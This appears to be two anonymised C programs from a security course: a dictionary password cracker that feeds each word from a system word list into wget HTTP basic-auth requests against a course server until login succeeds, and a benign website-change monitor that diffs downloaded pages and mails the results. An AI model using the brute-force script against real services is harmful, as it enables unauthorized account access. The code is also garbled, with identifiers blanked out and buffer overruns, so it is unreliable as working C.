#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}

#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>


int ()
{
  FILE *fp ,*fp1;
  char pass[15], *getWord;
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir previous");
  system("mv www.cs.rmit.edu./images/*.*   previous/");
  system("mv www.cs.rmit.edu./students/*.* previous/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum1.txt");
  sleep(10000);
  system("cd .. ");
  system("cd .. ");
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir current");
  system("mv www.cs.rmit.edu./images/*.*  current/");
  system("mv www.cs.rmit.edu./students/*.* current/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum2.txt");
  system("diff cksum1.txt cksum2.txt> checksumdifference.txt");
  system("diff previous current > difference.txt");
  fp1 =fopen("difference.txt","r");
  getWord = fgets(pass, 15, fp1);
  if(strlen(getWord)!= 0)
  system("mailx -s   \"Difference in  \"    < difference.txt ");
  fp =fopen("checksumdifference.txt","r");
  getWord = fgets(pass, 15, fp);
  if(strlen(getWord)!= 0)
    system("mailx -s  \"Difference in \"   < checksumdifference.txt");

  return 0;
}
